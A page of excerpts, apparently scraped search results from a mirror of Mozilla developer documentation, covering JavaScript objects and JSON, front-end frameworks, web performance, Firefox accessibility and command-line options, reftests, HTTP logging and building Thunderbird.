e separated by a comma, and the name and value in each case are separated by a colon. the syntax always follows this pattern: const objectname = { member1name: member1value, member2name: member2value, member3name: member3value }; the value of an object member can be pretty much anything — in our person object we've got a string, a number, two arrays, and two functions. the first four items are data items, and are referred to as the object's properties. the last two items are functions that allow the object to do something with that data, and are referred to as the object's methods. an object like this is referred to as an object literal — we've literally written out the object contents as we've come to create it. this is in contrast to objects instantiated from classes, which we...
... and are referred to as the object's methods. an object like this is referred to as an object literal — we've literally written out the object contents as we've come to create it. this is in contrast to objects instantiated from classes, which we'll look at later on. it is very common to create an object using an object literal when you want to transfer a series of structured, related data items in some manner, for example sending a request to the server to be put into a database. sending a single object is much more efficient than sending several items individually, and it is easier to work with than an array, when you want to identify individual items by name. dot notation above, you accessed the object's properties and methods using dot notation. the object name (person) acts as the...
...ect's methods, for example: person.age person.interests[1] person.bio() sub-namespaces it is even possible to make the value of an object member another object. for example, try changing the name member from name: ['bob', 'smith'], to name : { first: 'bob', last: 'smith' }, here we are effectively creating a sub-namespace. this sounds complex, but really it's not — to access these items you just need to chain the extra step onto the end with another dot. try these in the js console: person.name.first person.name.last important: at this point you'll also need to go through your method code and change any instances of name[0] name[1] to name.first name.last otherwise your methods will no longer work. bracket notation there is another way to access object properties — usi...
... to go through your method code and change any instances of name[0] name[1] to name.first name.last otherwise your methods will no longer work. bracket notation there is another way to access object properties — using bracket notation. instead of using these: person.age person.name.first you can use person['age'] person['name']['first'] this looks very similar to how you access the items in an array, and it is basically the same thing — instead of using an index number to select an item, you are using the name associated with each member's value. it is no wonder that objects are sometimes called associative arrays — they map strings to values in the same way that arrays map numbers to values. setting object members so far we've only looked at retrieving (or getting) object ...
Inheritance in JavaScript - Learn web development
my name is ' + prefix + ' ' + this.name.last + ', and i teach ' + this.subject + '.'); }; this alerts the teacher's greeting, which also uses an appropriate name prefix for their gender, worked out using a conditional statement. trying the example out now that you've entered all the code, try creating an object instance from teacher() by p...
...to object instances. these are fairly easy to spot — in your own custom code, they are the members defined inside a constructor using the this.x = x type lines; in built in browser code, they are the members only available to object instances (usually created by calling a constructor using the new keyword, e.g. let myinstance = new myconstructor()). those defined directly on the constructor themselves, that are available only on the constructor. these are commonly only available on built-in browser objects, and are recognized by being chained directly onto a constructor, not an instance. for example, object.keys(). these are also known as static properties/methods. those defined on a constructor's prototype, which are inherited by all instances and inheriting object classes. these includ...
...nd this example on github as es2015-class-inheritance.html (see it live also). getters and setters there may be times when we want to change the values of an attribute in the classes we create or we don't know what the final value of an attribute will be. using the teacher example, we may not know what subject the teacher will teach before we create them, or their subject may change between terms. we can handle such situations with getters and setters. let's enhance the teacher class with getters and setters. the class starts the same as it was the last time we looked at it. getters and setters work in pairs. a getter returns the current value of the variable and its corresponding setter changes the value of the variable to the one it defines. the modified teacher class looks like thi...
... of javascript, but a lot of javascript's power and flexibility comes from its object structure and inheritance, and it is worth understanding how it works. in a way, you use inheritance all the time. whenever you use various features of a web api , or methods/properties defined on a built-in browser object that you call on your strings, arrays, etc., you are implicitly using inheritance. in terms of using inheritance in your own code, you probably won't use it often, especially to begin with, and in small projects. it is a waste of time to use objects and inheritance just for the sake of it when you don't need them. but as your code bases get larger, you are more likely to find a need for it. if you find yourself starting to create a number of objects that have similar features, then crea...
Working with JSON - Learn web development
retidentity": "dan jukes", "powers": [ "radiation resistance", "turning tiny", "radiation blast" ] }, { "name": "madame uppercut", "age": 39, "secretidentity": "jane wilson", "powers": [ "million tonne punch", "damage resistance", "superhuman reflexes" ] } ] the above is perfectly valid json. you'd just have to access array items (in its parsed version) by starting with an array index, for example [0]["powers"][0]. other notes json is purely a data format — it contains only properties, no methods. json requires double quotes to be used around strings and property names. single quotes are not valid. even a single misplaced comma or colon can cause a json file to go wrong, and not work. you should be careful to vali...
...ing the dot/bracket notation we are using to access the javascript object, it can help to have the superheroes.json file open in another tab or your text editor, and refer to it as you look at our javascript. you should also refer back to our javascript object basics article for more information on dot and bracket notation. converting between objects and text the above example was simple in terms of accessing the javascript object, because we set the xhr request to convert the json response directly into a javascript object using: request.responsetype = 'json'; but sometimes we aren't so lucky — sometimes we receive a raw json string, and we need to convert it to an object ourselves. and when we want to send a javascript object across the network, we need to convert it to json (a stri...
...we set the xhr request to convert the json response directly into a javascript object using: request.responsetype = 'json'; but sometimes we aren't so lucky — sometimes we receive a raw json string, and we need to convert it to an object ourselves. and when we want to send a javascript object across the network, we need to convert it to json (a string) before sending. luckily, these two problems are so common in web development that a built-in json object is available in browsers, which contains the following two methods: parse(): accepts a json string as a parameter, and returns the corresponding javascript object. stringify(): accepts an object as a parameter, and returns the equivalent json string form. you can see the first one in action in our heroes-finished-json-parse.html e...
...saving the return value in a new variable — then checking it again. test your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: json. summary in this article, we've given you a simple guide to using json in your programs, including how to create and parse json, and how to access data locked inside it. in the next article, we'll begin looking at object-oriented javascript. ...
Perceived performance - Learn web development
how a user perceives your performance is as important, or perhaps more important, than any objective statistic, but it's subjective, and not as readily measurable. perceived performance is user perspective, not a metric. this article provides a brief introduction to perceived performance, looking at user perceptions, and what objective tools can be used to measure that which is subjective. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. ...
...othser sections can't be improved. there is no unicorn metric that can measure what the user feels, but metrics are useful in guaging improvements (and regressions). relevant measurements include first meaningful paint (fmp), largest contentful paint (lcp), time to interactive (tti), render start, dom interactive, and speed index. first paint is reported by the browser and provides the time, in ms, of when the page starts changing; but this change can be a simple background color update or something even less noticable. it doesn’t indicate completeness and may report a time when nothing visible is painted. first contentful paint (fcp) reports the time when the browser first rendered anything of signifigance, be that text, foreground or background image, or a canvas or svg; capturing the ...
...both harm performance. make fallback fonts the same size and weight so that when fonts load the page change is less noticeable. interactive elements are interactive make sure visible interactive elements are always interactive and responsive. if input elements are visible, the user should be able to interact with them without a lag. users feel that something is laggy when they take more than 50ms to react. they feel that a page is janky when content repaints slower than 16.67ms (or 60 frames per second) or repaints at uneven intervals. make things like type-ahead a progressive enhancement: use css to display input modal, js to add typeahead/autocomplete as it is available make task initiators appear more interactive making a content request on keydown rather than waiting for keyup can ...
.... they feel that a page is janky when content repaints slower than 16.67ms (or 60 frames per second) or repaints at uneven intervals. make things like type-ahead a progressive enhancement: use css to display input modal, js to add typeahead/autocomplete as it is available make task initiators appear more interactive making a content request on keydown rather than waiting for keyup can shave 200ms off the perceived load of the content. adding an interesting but unobtrusive 200ms animation to that keyup even can reduce another 200ms of the perceived load. you're not saving 400ms of time, but the user doesn't feel like they're waiting for content until, well, until they're waiting for content. conclusion by turning as much of the download, render and wait time into active phases and reduci...
Client-Server Overview - Learn web development
below shows the main elements of the "team coach" website, along with numbered labels for the sequence of operations when the coach accesses their "best team" list. the parts of the site that make it dynamic are the web application (this is how we will refer to the server-side code that processes http requests and returns http responses), the database, which contains information about players, teams, coaches and their relationships, and the html templates. after the coach submits the form with the team name and number of players, the sequence of operations is: the web browser creates an http get request to the server using the base url for the resource (/best) and encoding the team and player number either as url parameters (e.g. /best?team=my_team_name&show=11) or as part of the url p...
...a lot of computational cost from the server to the web browser, and can result in websites that appear to behave a lot more like native apps (highly responsive, etc.). web frameworks simplify server-side web programming server-side web frameworks make writing code to handle the operations described above much easier. one of the most important operations they perform is providing simple mechanisms to map urls for different resources/pages to specific handler functions. this makes it easier to keep the code associated with each type of resource separate. it also has benefits in terms of maintenance, because you can change the url used to deliver a particular feature in one place, without having to change the handler function. for example, consider the following django (python) code that ma...
...followed by between 4 and 7 lower case letters." the web framework also makes it easy for a view function to fetch information from the database. the structure of our data is defined in models, which are python classes that define the fields to be stored in the underlying database. if we have a model named team with a field of "team_type" then we can use a simple query syntax to get back all teams that have a particular type. the example below gets a list of all teams that have the exact (case sensitive) team_type of "junior" — note the format: field name (team_type) followed by double underscore, and then the type of match to use (in this case exact). there are many other types of matches and we can daisy chain them. we can also control the order and the number of results returned. #...
...eam_type of "junior" — note the format: field name (team_type) followed by double underscore, and then the type of match to use (in this case exact). there are many other types of matches and we can daisy chain them. we can also control the order and the number of results returned. #best/views.py from django.shortcuts import render from .models import team def junior(request): list_teams = team.objects.filter(team_type__exact="junior") context = {'list': list_teams} return render(request, 'best/index.html', context) after the junior() function gets the list of junior teams, it calls the render() function, passing the original httprequest, an html template, and a "context" object defining the information to be included in the template. the render() function is a conveni...
Ember interactivity: Events, classes and state - Learn web development
along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. ...
...the @action decorator declares that the function is an "action", meaning it's a type of function that will be invoked from an event that occurred in the template. @action also binds the this of the function to the class instance. note: a decorator is basically a wr...
...he ui to update as well. and just like before, the add() function that will be called from the template gets annotated with the @action decorator to bind it to the class instance. this function's contents are fairly easy to understand — when the function is invoked, a new todo object instance is created with a text value of text, and the todos property value is updated to all of the current items inside the array (accessed conveniently using spread syntax), plus the new todo. using the service from our header component now that we've defined a way to add todos, we can interact with this service from the header.js input component to actually start adding them. first of all, the service needs to be injected into the template via the @inject decorator, which we’ll rename to @service for...
...ate this line to use the argument @todo — which will represent the todo that we passed in to this component when it was invoked in todo-list.hbs, in the line <todo @todo={{todo}} />: <label>{{@todo.text}}</label> ok, try it again. you should find that now the text submitted in the <input> is properly reflected in the ui: summary ok, so that's great progress for now. we can now add todo items to our app, and the state of the data is tracked using our service. next we'll move on to getting our footer functionality working, including the todo counter, and look at conditional rendering, including correctly styling todos when they've been checked. we'll also wire up our "clear completed" button. previous overview: client-side javascript frameworks next in this module introdu...
Getting started with React - Learn web development
with other libraries to render to certain environments. for instance, react native can be used to build mobile applications; react 360 can be used to build virtual reality applications; and there are other possibilities besides. to build for the web, developers use react in tandem with reactdom. react and reactdom are often discussed in the same spaces as — and utilized to solve the same problems as — other true web development frameworks. when we refer to react as a "framework", we’re working with that colloquial understanding. react's primary goal is to minimize the bugs that occur when developers are building uis. it does this through the use of components — self-contained, logical pieces of code that describe a portion of the user interface. these components can be composed tog...
...tained, logical pieces of code that describe a portion of the user interface. these components can be composed together to create a full ui, and react abstracts away much of the rendering work, leaving you to concentrate on the ui design. use cases unlike the other frameworks covered in this module, react does not enforce strict rules around code conventions or file organization. this allows teams to set conventions that work best for them, and to adopt react in any way they would like to. react can handle a single button, a few pieces of an interface, or an app's entire user interface. while react can be used for small pieces of an interface, it's not as easy to "drop into" an application as a library like jquery, or even a framework like vue — it is more approachable when you build yo...
... some elements in the expression have attributes, which are written just like in html, following a pattern of attribute="value". on line 3, the opening <div> tag has a classname attribute. this is the same as the class attribute in html, but because jsx is javascript, we can't use the word class — it's reserved, meaning javascript already uses it for a specific purpose and it would cause problems here in our code. a few other html attributes are written differently in jsx than they are in html too, for the same kind of reason. we'll cover them as we encounter them. take a moment to change the <p> tag on line 6 so that it reads "hello, world!", then save your file. you'll notice that this change is immediately rendered in the development server running at http://localhost:3000 in your bro...
...ll change. summary this brings us to the end of our initial look at react, including how to install it locally, creating a starter app, and how the basics work. in the next article, we'll start building our first proper application — a todo list. before we do that, however, let's recap some of the things we’ve learned. in react: components can import modules they need and must export themselves at the bottom of their files. component functions are named with pascalcase. you can read jsx variables by putting them between curly braces, like {so}. some jsx attributes are different than html attributes so that they don't conflict with javascript reserved words. for example, class in html translates to classname in jsx. note that multi-word attributes are camel-cased. props are writ...
Starting our Svelte Todo list app - Learn web development
<span class="visually-hidden">show</span> <span>active</span> <span class="visually-hidden">tasks</span> </button> <button class="btn toggle-btn" aria-pressed="false"> <span class="visually-hidden">show</span> <span>completed</span> <span class="visually-hidden">tasks</span> </button> </div> <!-- todosstatus --> <h2 id="list-heading">2 out of 3 items completed</h2> <!-- todos --> <ul role="list" class="todo-list stack-large" aria-labelledby="list-heading"> <!-- todo-1 (editing mode) --> <li class="todo"> <div class="stack-small"> <form class="stack-small"> <div class="form-group"> <label for="todo-1" class="todo-label"> new name for 'create a svelte starter app' </lab...
...sary, you can check out scott o'hara’s article, “fixing lists”. the aria-labelledby attribute tells assistive technologies that we're treating our <h2> with an id of list-heading as the label that describes the purpose of the list beneath it. making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it. this seems like a good time to talk about how svelte deals with accessibility; let's do that now. svelte accessibility support svelte has a special emphasis on accessibility. the intention is to encourage developers to write more accessible code "by default". being a compiler, svelte can statically analyze our html templates to provide accessibility warnings when components are being compiled. accessibil...
... moreover, our editor can display this warning even before calling the compiler: you can tell svelte to ignore this warning for the next block of markup with a comment beginning with svelte-ignore, like this: <!-- svelte-ignore a11y-missing-attribute --> <img height="32" width="88" src="https://udn.realityripple.com/samples/b0/98dase3c7d.png"> ...
...isable these warnings if you have good reasons to do so, for example while building a quick prototype. it's important to be a good web citizen and make make your pages accessible to the broadest possible userbase. the accessibility rules checked by svelte are taken from eslint-plugin-jsx-a11y, a plugin for eslint that provides static checks for many accessibility rules on jsx elements. svelte aims to implement all of them in its compiler, and most of them have already been ported to svelte. on github you can see which accessibility checks are still missing. you can check the meaning of each rule by clicking on its link. styling our markup let's make the todo list look a little better. replace the contents of the file public/global.css with the following: /* resets */ *, *::before, *::af...
Getting started with Vue - Learn web development
you can find more information on the cli in the vue docs. project structure if everything went successfully, the cli should have created a series of files and directories for your project. the most significant ones are as follows: .eslintrc.js: this is a config file for eslint. you can use this to manage your linting rules. babel.config.js: this is the config file for babel, which transforms modern javascript features being used in development code into older syntax that is more cross-browser compatible in production code. you can register additional babel plugins in this file. .browserslistrc: this is a config for browserslist. you can use this to control which browsers your tooling optimizes for. public: this directory contains static assets that are published, but not processed ...
...hout needing to configure a server yourself. the cli adds a serve command to the project’s package.json file as an npm script, so you can easily run it. in your terminal, try running npm run serve (or yarn serve if you prefer yarn). your terminal should output something like the following: info starting development server... 98% after emitting copyplugin done compiled successfully in 18121ms app running at: - local: <http://localhost:8080/> - network: <http://192.168.1.9:8080/> note that the development build is not optimized. to create a production build, run npm run build. if you navigate to the “local” address in a new browser tab (this should be something like http://localhost:8080 as stated above, but may vary based on your setup), you should see your app. rig...
...r first change to the app — we’ll delete the vue logo. open the app.vue file, and delete the <img> element from the template section: <img alt="vue logo" src="./assets/logo.png"> if your server is still running, you should see the logo removed from the rendered site almost instantly. let’s also remove the helloworld component from our template. first of all delete this line: <helloworld msg="welcome to your vue.js app"/> if you save your app.vue file now, the rendered app will throw an error because we’ve registered the component but are not using it. we also need to remove the lines from inside the <script> element that import and register the component: delete these lines now: import helloworld from './components/helloworld.vue' components: { helloworld } your rendered a...
...now show our heading, as you'd expect. summary let's leave this here for now. we've learnt about some of the ideas behind vue, created some scaffolding for our example app to live inside, inspected it, and made a few preliminary changes. with a basic introduction out of the way, we'll now go further and build up our sample app, a basic todo list application that allows us to store a list of items, check them off when done, and filter the list by all, complete, and incomplete todos. in the next article we'll build our first custom component, and look at some important concepts such as passing props into it and saving its data state. previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react ...
Tools and testing - Learn web development
b developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use many the tools detailed here. ...
...we finish up by providing a complete toolchain example showing you how to get productive. ...
...a tool to allow them to collaborate with other developers on a project without danger of them overwriting each other's work, and roll back to previous versions of the code base if a problem is discovered later on. the most popular vcs (at least among web developers) is git, along with github, a site that provides hosting for your repositories and several tools for working with them. this module aims to teach you what you need to know about both of them. cross browser testing this module looks specifically at the area of testing web projects across different browsers. here we look at identifying your target audience (e.g. what users, browsers and devices do you most need to worry about?), how to go about testing, the main issues that you'll face with different types of code and how to fix/m...
... ...
Learn web development
the aim of this area of mdn is not to take you from "beginner" to "expert" but to take you from "beginner" to "comfortable." from there, you should be able to start making your way, learning from the rest of mdn, and other intermediate to advanced resources that assume a lot of previous knowledge. if you are a complete beginner, web development can be challenging — we will hold your hand and provide enough detail for you to feel comfortable and learn the topics properly. ...
...ge that we can use to style and layout our web content, as well as adding behavior like animation. this topic provides comprehensive coverage of css. javascript — dynamic client-side scripting javascript is the scripting language used to add dynamic functionality to web pages. this topic teaches all the essentials needed to become comfortable with writing and understanding javascript. web forms — working with user data web forms are a potent tool for interacting with users — most commonly, they are used for collecting data from users, or allowing them to control a user interface. in the articles listed below, we'll cover all the essential aspects of structuring, styling, and interacting with web forms. accessibility — make the web usable by everyone accessibility is the practic...
... and responsive web performance is the art of making sure web applications download fast and are responsive to user interaction, regardless of a user's bandwidth, screen size, network, or device capabilities. tools and testing this topic covers the tools developers use to facilitate their work, such as cross-browser testing tools, linters, formatters, transformation tools, version control systems, deployment tools, and client-side javascript frameworks. server-side website programming even if you are concentrating on client-side web development, it is still useful to know how servers and server-side code features work. this topic provides a general introduction to how the server-side works and detailed tutorials showing how to build up a server-side app using two popular frameworks: dja...
...le, if you were in the parent directory: cd learning-area update the repository using the following command: git pull contact us if you want to get in touch with us about anything, the best way is to drop us a message on our discourse forum. we'd like to hear from you about anything you think is wrong or missing on the site, requests for new learning topics, requests for help with items you don't understand, or any other questions or concerns. if you're interested in helping develop/improve the content, take a look at how you can help and get in touch! we are more than happy to talk to you, whether you are a learner, teacher, experienced web developer, or someone else interested in helping to improve the learning experience. ...
Accessibility Features in Firefox
e appearance of all pages that are displayed. finally, bookmarks.html contains all your bookmarks, and is easy to move around from computer to computer. view selection source (techies only): when you select some text and right click or press shift+f10, you can "view selection source". this will show the html source for only the selected text, which is useful for understanding accessibility problems in some web sites. customize your experience! many users are finding the true greatness of firefox lies in support for third party extensions. extensions are small add-ons which can change your browser experience as you see fit. extensions can easily be installed or removed with the extension manager in the tools menu. here are some examples of accessible extensions, although there are hundre...
...e their tricks with everyone! fire vox extension by charles l. chen is a screen reader extension built just for firefox which can read mathml community contributions the real reason behind firefox's success is the great community of volunteers and organizations that realize they have something to benefit from a browser open to utilizing their ideas and hard work. contributions come in many forms. the mozilla firefox community welcomes bug reports, ideas, documentation, answering questions in the support forums -- and nearly any kind of community involvement resulting in a browser built for a broader audience of users and developers. here are a couple of success stories from businesses who contributed accessibility code because they needed an accessible web browser which supported their ...
...ions accessible. companies such as yahoo! have announced they are already working with the technology their new richer interfaces accessible with this new technology. developers, please see our dhtml accessibility documentation and get involved in writing tools and websites using this new technology. sun contributes code to improve accessibility on unix a similar story occurred at sun microsystems. sun needed an accessible web browser for unix, specifically for solaris. again, rather than develop a brand new web browser, it made more sense to contribute fixes that make firefox accessible on unix. thanks to sun's efforts we already have excellent support for the gnome onscreen keyboard (gok). meanwhile, ibm has joined sun's effort to make firefox as screen reader accessible on unix as it is...
... work applies to linux. the two companies anticipate that in 2007, firefox will support topnotch screen reader accessibility on unix and linux. that's the great thing about the open firefox community model and source code license -- anyone can contribute, and everyone benefits. downloads, support and more information firefox information and downloads general online support and community forums accessibility newsgroup for users. can also be accessed as a mailing list. accessibility compliance statement (section 508): http://www.mozilla.com/firefox/vpat.html ...
Mozilla's Section 508 Compliance
nd is available to the product developer. complete. (c) a well-defined on-screen indication of the current focus shall be provided that moves among interactive interface elements as the input focus changes. the focus shall be programmatically exposed so that assistive technology can track focus and focus changes. complete. we expose focus programmatically via msaa (windows) and atk (linux/unix). incomplete, we show focus but need to expose it programmatically by supporting carbon/cocoa accessibility. (d) sufficient information about a user interface element including the identity, operation and state of the element shall be available to assistive technology. when an image represents a program element, the information conveye...
... (d) sufficient information about a user interface element including the identity, operation and state of the element shall be available to assistive technology. when an image represents a program element, the information conveyed by the image must also be available in text. complete. we expose this information to assistive technology via microsoft active accessibility (msaa) (windows) and accessibility toolkit (atk) (linux/unix). incomplete. no development efforts have made made to utilize cocoa or carbon accessibility apis. (e) when bitmap images are used to identify controls, status indicators, or other programmatic elements, the meaning assigned to those images shall be consistent throughout an application's performance. co...
...omplete. requirement windows linux/unix mac os (f) textual information shall be provided through operating system functions for displaying text. the minimum information that shall be made available is text content, text input caret location, and text attributes. complete. caret location and text attributes are exposed via msaa (windows) and atk (linux/unix) incomplete. no development efforts have made made to utilize cocoa or carbon accessibility apis. (g) applications shall not override user selected contrast and color selections and other individual display attributes. complete. the default theme, classic, uses the operating system's font and color contrast settings. when the w...
...tware shall not use flashing or blinking text, objects, or other elements having a flash or blink frequency greater than 2 hz and lower than 55 hz. complete. mozilla supports of <blink> and text-decoration: blink in web pages. in these situations mozilla blinks 1 hz, which is within the allowable range and follows the stricter mil-std standard. (l) when electronic forms are used, the form shall allow people using assistive technology to access the information, field elements, and functionality required for completion and submission of the form, including all directions and cues. partially complete. see functional performance criteria below. screen reader access is currently being tested. an extension called ad block helps remove extra noisy content from ...
Application cache implementation overview
process passes. until that it is not used for loading resources from. after these steps the update is in initialized state waiting to be scheduled. when the update is about to actually start, the scheduling service calls nsofflinecacheupdate::begin() method, that switches the update to checking state (+invokes onchecking event) and starts fetch of the manifest file. note: whenever a load of an items (including the manifest) fails due to a network or server error or leads to a redirect, the update fails and completely rollbacks any changes made (i.e. all files downloaded are deleted and the new cache version is discarded.) an md5 hash is then calculated from the manifest content we download from the server to be compared to existing md5 (in case of an “update”). during the load, manifest ...
...ed for each finished entry load, including the manifest and is the main place handling each update state as following: on checking state, a state the update is at after manifest parsing has been done, loadcompleted checks whether the new hash, i.e. the manifest content, differs or this is just “first download”. if so, the update switches to downloading state and fetches in parallel items listed in the manifest by call to nsofflinecacheupdate::processnexturi(). if the new hash is identical, update invokes onnoupdate event and is 'finished'. then it associates any documents waiting for this update to finish with the current existing nsiapplicationcache. if the manifest load failed, onerror event is invoked and the update 'finishes'. the parallel load is implemented by a...
... note: the processnexturi method early returns when state of the update is different then downloading. on downloading state loadcompleted checks whether load of the item succeeded. if so, its marked as valid in the new cache version and processnexturi() is called. otherwise, the update invokes onerror and 'finishes'. when processnexturi discovers there are no more items to download it starts a “manifest check” implemented by nsmanifestcheck. nsmanifestcheck downloads the manifest from the server one more time and checks its content has not changed again. the results is passed to the original update via manifestcheckcompleted method. when the manifest is identical, the cache is activated, onupdateready event is invoked and the update 'finishes...
...up to 3 retries (then it fails.) when load of the manifest has failed or redirected, the original update invokes onerror and 'finishes'. on canceled state loadcompleted invokes onerror event and 'finishes' the update (what transits the state to finished). canceled can be set only by call to nsofflinecacheupdate::cancel() public method that also cancels all running items downloads immediately. on finished state loadcompleted just early returns. finished state is set when updated is 'finished' and is the last state the update transits to after invoking one of the final dom notifications (onnoupdate, onupdaterady or onerror.) ...
Command line options
ot a new window in running instance, which allows multiple copies of application to be open at a time. firefox -new-instance -p "another profile" note: not available for windows, see bug 855899. -no-remote do not accept or send remote commands. implies -new-instance. firefox -no-remote -p "another profile" note: since firefox 9, this does really mean what its name implies on all platforms, i.e. instances created with this parameter do not accept or send remote commands, see bug 650078. that means that such instances won't be re-used. also when using this argument a new instance is created in any case. -override /path/to/override.ini load the specified override.ini file to override application.ini (browser/app/application.ini). this can be used to suppress the migration wizard a...
... and launch application with the profile named profile_name. useful for dealing with multiple profiles. firefox -p "joel user" note: profile_name is case sensitive. if you don't specify a profile name then the profile manager is opened instead. you must use an upper case p on linux with versions older than 7.x, as there lower case invokes purify mode (memory and leak detection). other platforms accept both upper and lower case. -profile "profile_path" start with the profile with the given path. firefox, thunderbird and seamonkey2.x only. "profile_path" can either be an absolute path ("/path/to/profile") or a relative path ("path/to/profile"). note: on mac os x specifying a relative path is not supported anymore from firefox 4.0 and up due to a regression, see bug 673955. browser...
...rmanently disabled in the extension manager data source). remote control -remote remote_command this feature was removed in firefox 36.0, restored in 36.0.1 and removed again in 39.0. see bug 1080319. execute the specified remote_command in an already running application process. firefox -remote "openurl(www.mozilla.org, new-tab)" this option is only available on x-windows unix platforms. miscellaneous -attach-console write messages for the debugging console into the window which launched the application instead of opening a new window for the debugging messages. only supported on the windows operating system. -console start application with a debugging console. note: windows only. -h or -help or -? print the list of all available command line options. note that on win...
..., thunderbird3.x and seamonkey2.x only. -v or -version print application version. note that on windows this only works with a redirection such as |more (bug 355889). this option is available only in a command console. x11 options these options are only available for an application build for and running atop the x11/x.org display and window system to be found on linux and other unix-based systems. --class=wm_class set the wm_class resource class of the x11 windows created by the application. --display=display set the x display to use. --g-fatal-warnings make all warnings fatal. --sync make x calls synchronous. other options need to be documented -print-xpcom-dir -print-xpcom-dirlist -kill -killall -f -ftimeout -fwait -unsetdefaultmail gtk options -no-deelevate (runnin...
Creating reftest-based unit tests
tput. the reftest.list file can be named whatever you want, not necessarily reftest.list (but it has to end with .list). more to do create more reftests. new tests can be added to the reftest.list file, which can contain any number of tests. the file can include other things, but it does not get very complicated. keep in mind new tests should fit a 600x600 window so we can test on mobile platforms easier. here is an example. include ../other.list == foo.html bar.html != aaa.html bbb.html the first line, as one might expect, includes another manifest. the second line should look familiar. it says that foo.html and bar.html should produce visually identical output. the third line says that aaa.html and bbb.html should not produce visually identical output. more information on this file ca...
...t. the third line says that aaa.html and bbb.html should not produce visually identical output. more information on this file can be found in the readme.txt referenced below, which was written by the creator of the reftest tool. there is one thing about automated tests that may not be obvious. there is really no way to construct a test that is too small. if you want to check something, and it seems trivial, that is ok. the cost of adding a new test to an automated suite is very, very low. for tests that are run manually, this is not true. the cost of thinking about and managing the execution of a manual test is fairly high. this is why manual tests tend to get longer, include more steps and ultimately become a long list that actually tests a lot of things. so, create small tests. for examp...
...le, it occurs to me that we assume that spaces between a element name and an attribute name have no effect, but do we know this is true? who checks this? it is completely trivial, but so what. i can create 50 or 100 test files that have spaces between the element name and the attribute of a element for a bunch of different elements, add those to the list of tests to be run, and it causes no problems for anyone. maybe it will actually take 500 test files to actually check this behavior. it really does not matter. so, my point is, if you have an idea then create a test. really. it would be better to have more tests than we need than too few. your second and third reftest for these tests create the following files: spaces1.html: <html><head><title>spaces1</title></head> <body> x x </body><...
...<title>spaces4</title></head> <body> x x </body></html> reftests.txt: == spaces1.html spaces2.html != spaces3.html spaces4.html the first two files, spaces1.html and spaces2.html, are confirming only that a space (the character equal to 0x20 in ascii) creates the same visual construct as the html entity for a non-breaking space. the second pair of files, spaces3.html and spaces4.html, confirms that two regular spaces do not produce the same visual construct as two non-breaking spaces. when we run them, we see: $ ./mach reftest path/to/reftest.txt 2>&1 | grep reftest reftest pass: file:///users/ray/mo/spaces1.html reftest pass: (!=) file:///users/ray/mo/spaces3.html $ fabulous! other comparisons note that it should also be possible to create a reftest that tests markup against an ...
HTTP logging
p logging the whole browser history, so files can get rather large (they compress well :) setting environment variables differs by operating system. don't let the scary-looking command line stuff frighten you off; it's not hard at all! windows if firefox is already running, exit out of it. open a command prompt. on windows xp, you can find the "run..." command in the start menu's "all programs" submenu. on all newer versions of windows, you can hold down the windows key and press "r". type cmd and press enter, a new command prompt window with a black background will appear. copy and paste the following lines one at a time into the command prompt window. press the enter key after each one.: for 64-bit windows: set moz_log=timestamp,rotate:200,nshttp:5,cache2:5,nssockettransport:5,...
...tions assume that you've installed firefox directly into your startup disk's applications folder. if you've put it elsewhere, change the path used on the third line appropriately.) reproduce whatever problem you're trying to debug. quit firefox and look for the generated log.txt log files on your desktop. note: the generated log file uses unix-style line endings. ...
...e, change the path used on the third line appropriately.) reproduce whatever problem you're trying to debug. quit firefox and look for the generated log.txt log files on your desktop. note: the generated log file uses unix-style line endings. older editors may have problems with this, but if you're using an even reasonably modern mac os x application to view the log, you won't have any problems. start logging using command line arguments since firefox 61 it's possible to start logging in a bit simpler way than setting environment variables: using command line arguments. here is an example for the windows platform, on other platforms we accept the same form of the arguments: if firefox is already running, exit out of it. open a command prompt. on windows xp, you can find the "run...
...on all newer versions of windows, you can hold down the windows key and press "r". ...
Old Thunderbird build
able to build the thunderbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings"). you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite). note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist). having the so...
... long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist). having the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it close to the root of your machine and re-building. get the latest source code from mozilla's comm-central mercurial code repository: hg clone https://hg.mozilla.org/comm-central then, get all the repositories it depends on. the comm-central repository includes...
...inux you don't have to rebuild since the files in the object directory are linked to the ones in the source directory. on windows run: ./mozilla/mach build path/to/dir this is the tricky bit, since you need to specify the directory that installs the files, which may be a parent directory of the changed file's directory. for all other changes run the full rebuild: ./mozilla/mach build problems building? have you: check comm-central on treeherder for known failures at the time you pulled the code. the current status of the trunk can also be checked at https://treestatus.mozilla.org/ if the trunk is broken (i.e. closed), you may wish to consider building one of the branches (to pull the source code from a branch, just replace the url to the repository in the hg clone instructi...
...aces, and is not too long. searched the bug database for issues relating to your problem (e.g., platform-specific issues). try asking in mozilla.dev.builds - include details of what is in your mozconfig, and what the actual error is. check if your mozilla/ is a symlink. a symlink there is not supported. check for @topsrcdir@ or relative paths in your mozconfig. those have caused several problems historically and tend to be poorly tested when the build system changes. if on windows you get link errors like "lnk1102: out of memory" or "lnk1318: unexpected pdb error; ok (0)", try deleting the largest .pdb files before rushing out the door to buy more ram. clobbering (see below) will also remove those files. try with a clean obj-dir. you can clean out previous build artefacts using ./moz...
Simple SeaMonkey build
